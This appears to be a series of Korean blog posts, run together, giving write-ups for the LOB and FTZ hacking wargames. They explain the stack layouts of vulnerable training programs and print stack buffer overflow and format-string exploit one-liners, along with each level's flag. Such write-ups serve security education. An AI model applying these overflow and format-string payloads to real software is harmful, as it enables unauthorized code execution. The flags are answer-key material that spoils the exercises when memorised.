코드를 보면 조건이 꽤 많다.

egghunter라는 것이 있어 환경변수 사용을 막고,

argv[1][47]의 값이 \xbf가 아니라면 종료시킨다.

권한 문제로 인해서 새로운 c파일을 만들어 gdb로 까보았다.

i와 배열 총 44바이트를 주고있다. 따라서 dummy는 없다고 볼 수 있고,

| i(4) | buffer(40) | sfp(4) | ret(4) |

가 된다고 볼 수있다.

버퍼의 주소를 알기 위해서 코드 한줄을 추가후 실행시켜 보니 

0xbffffae0 이라는 주소가 나왔다.

그러므로 ./orc `python -c 'print "A"*44+"\xe0\xfa\xff\xbf" + "\x90"*200+"SHELLCODE"'`

의 형식으로 짤 수있다.



Flag : cantata

'IT > LOB' 카테고리의 다른 글

[LOB] wolfman  (0) 2016.07.17
[LOB] orc  (0) 2016.07.17
[LOB] cobolt  (0) 2016.07.12
[LOB] gremlin  (0) 2016.07.12
[LOB] gate  (0) 2016.07.11

gremlin과 비슷한 문제이다

대신 gets함수로 인자값이 아닌 프로그램상에서 입력을 받고 있다.

gremlin과 똑같이 주소값을 구하지만 값을 전달하는 방식이 틀리기 때문에

아래의 방법으로 구문을 짜면 된다.

(python -c 'print ~~~~~~~~~~~~';cat) | ./goblin

Flag : hackers proof

'IT > LOB' 카테고리의 다른 글

[LOB] wolfman  (0) 2016.07.17
[LOB] orc  (0) 2016.07.17
[LOB] goblin  (0) 2016.07.17
[LOB] gremlin  (0) 2016.07.12
[LOB] gate  (0) 2016.07.11

코드를 보면 버퍼의 크기가 작아졌다. 따라서 25바이트 쉘코드를 그대로 때려넣는 방법은 사용하지 못한다.

그래서 이런 문제들은 환경변수를 사용해 쉘코드의 주소를 가지고 풀이를 할 것이다.

gdb로 까보아도, 16바이트를 주고 있다. 따라서 dummy는 없다는 것을 알 수있다.

| buffer(16) | sfp(4) | ret(4) |

이러한 스택 구조를 띄고 있다.

총 20바이트와 4바이트의 주소값을 넣어주면 bof가 일어난다.

먼저 환경변수부터 만들어 준다.

그 후 SHELLCODE의 주소 알아낸다

SHELLCODE의 주소는 0xbffff32b 이므로

리틀엔디언 방식으로 바꾸어 \x2b\xf3\xff\xbf 로 만들 수 있다.

그냥 buffer부터 ret까지 24바이트를 전부 주소를 넣기로 했다. 다른 것을 넣어 20바이트를 채워주고 ret에 쉘코드의 주소값만 들어가면 무엇이 들어가도 무방하다.

Flag : hacking exposed

'IT > LOB' 카테고리의 다른 글

[LOB] wolfman  (0) 2016.07.17
[LOB] orc  (0) 2016.07.17
[LOB] goblin  (0) 2016.07.17
[LOB] cobolt  (0) 2016.07.12
[LOB] gate  (0) 2016.07.11

코드를 보면, 버퍼의크기를 256바이트로 지정해주고 있고,

argc가 2보다 작으면 argv error 를 출력하고 종료를 해주고 있다.


gdb로 까보면 버퍼는 0x100 = 256바이트이므로 Dummy는 없는것 같다.

따라서 | buffer(256) | sfp(4) | ret(4) |

이러한 스택구조를 가지고 있다.

그냥 buffer에 때려박아도 되지만 환경변수를 이용해서 풀자면,

위의코드를 짜서 환경변수의 주소를 알아낼것이다

넉넉히 nop을 3000개로 잡아주고 환경변수를 등록 후, 아까 짠 프로그램을 실행 하면, SHELLCODE의 주소가 나온다.

따라서 | \x90*260 | SHELLCODE's Adr |

과 같은 방법으로 넣어준다.


Flag : hello bof world

'IT > LOB' 카테고리의 다른 글

[LOB] wolfman  (0) 2016.07.17
[LOB] orc  (0) 2016.07.17
[LOB] goblin  (0) 2016.07.17
[LOB] cobolt  (0) 2016.07.12
[LOB] gremlin  (0) 2016.07.12

http://proneer.tistory.com/entry/FormatString-%ED%8F%AC%EB%A7%B7%EC%8A%A4%ED%8A%B8%EB%A7%81Format-String-Attack


이곳을 참조해서 공부하였습니당



마지막문제이다. bleh라는 배열을 80바이트 선언해주고 있다. 또한 79바이트 이하로만 입력받고 있다.

bof를 시도해봤지만 bof도 통하지 않는다. 이 문제를 풀려면 "포멧스트링버그"를 이용해서 풀어야 한다.

설명은 생략하고 위의 문서를 첨부하였다.

dtors를 구하고, 08049594+4에 쉘코드를 넣으면 된다.

또한 쉘코드 주소를 2바이트씩 나눠 10진수로 저장한다

>>> 0xfdda-8

64978

>>> 0xbfff - 0xfdda

-15835

>>> 0x1bfff-0xfdda

49701

(python -c 'print "\x98\x95\x04\x08\x9a\x95\x04\x08%64978x%4$hn%49701x%5$hn"' ; cat) | ./attackme

Flag : i will come in a minute

'IT > FTZ' 카테고리의 다른 글

[FTZ] level19  (0) 2016.07.10
[FTZ] level18  (0) 2016.07.10
[FTZ] level17  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10

코드가 level18에 비해 휑하다

코드가 휑하다 못해 setreuid나 /bin/sh가사라졌다.

그래서 직접 문서를 보며 쉘코드를 만들거나 41바이트 쉘코드를 사용해야 한다.

이렇게 환경변수에 등록 후 넉넉히 넣어주면 오버플로우가 된다.




Flag : we are just regular guys

'IT > FTZ' 카테고리의 다른 글

[FTZ] level20  (0) 2016.07.10
[FTZ] level18  (0) 2016.07.10
[FTZ] level17  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10


코드가 엄청나게 길다.

문제를 보면 string에 값을 넣고, check와 deadbeef가 같다면 shellout 함수를 실행시킬수 있다.

하지만 스택구조상으로는 string으로 check를 건들수는 없다

왜냐하면 스택에는 string배열 먼저 쌓이고, 그 위에 check가 쌓이게 된다

- - - - | check | stirng | sfp | ret |

로 쌓이게 된다.

하지만 코트를 자세히 보면 0x08일때 count가 --된다. 그렇다면 4번 0x08일때는 stirng[-4] 인 즉 check의 주소가 된다.

그러므로 이렇게 할 수있다.

Flag : swimming in pink

'IT > FTZ' 카테고리의 다른 글

[FTZ] level20  (0) 2016.07.10
[FTZ] level19  (0) 2016.07.10
[FTZ] level17  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10

코드를 보면 shell 함수가 빠지고 setreuid가 main 안으로 이동했다.

또한 /bin/sh가 빠졌으므로 직접 쉘코드를 메모리에 넣어야 한다.    

전 문제들과 같은 방법을 사용해 환경변수를 이용해서 넣어주면 된다.


Flag : why did you do it


'IT > FTZ' 카테고리의 다른 글

[FTZ] level19  (0) 2016.07.10
[FTZ] level18  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10
[FTZ] level14  (0) 2016.07.10

코드를 보니 함수와 함수 포인터가 사용되었다.

스택의 구조를 한번 그려보면

| buf(20) | dummy() | void(*call)()=printit | dummy() | crap(4) |

과 같은 구조일 것이다.

따라서 우리는 objdump를 이용해 shell의 함수주소값을 알아낸 후 level15와 같게 거리가 40이므로 아래와 같이 익스플로잇을 짤 수 있다.


Flag : king poetic

'IT > FTZ' 카테고리의 다른 글

[FTZ] level18  (0) 2016.07.10
[FTZ] level17  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10
[FTZ] level14  (0) 2016.07.10
[FTZ] level13  (0) 2016.07.10


코드를 보니 level14와는 달리 *check로 변했다.

버퍼의 시작주소부터 check까지의 거리를 구해야하는데,

소스코드를 복사해서 주소값을 알아내는 코드를 짰다.

거리는 40바이트라고 한다.


이제 attackme를 까서 0xdeadbeef의 위치를 찾았더니 

0x80484b2에 있었다.

따라서 버퍼부터 40만큼 채워준후 deadbeef가 있는 주소값을 넣어준다.


사진에는 짤렸지만, 익스플로잇은 (python -c 'print "A"*40+"\xb2\x84\x04]x08"';cat) | ./attackme 이다.


Flag : about to cause mass

'IT > FTZ' 카테고리의 다른 글

[FTZ] level17  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level14  (0) 2016.07.10
[FTZ] level13  (0) 2016.07.10
[FTZ] level12  (0) 2016.07.10

+ Recent posts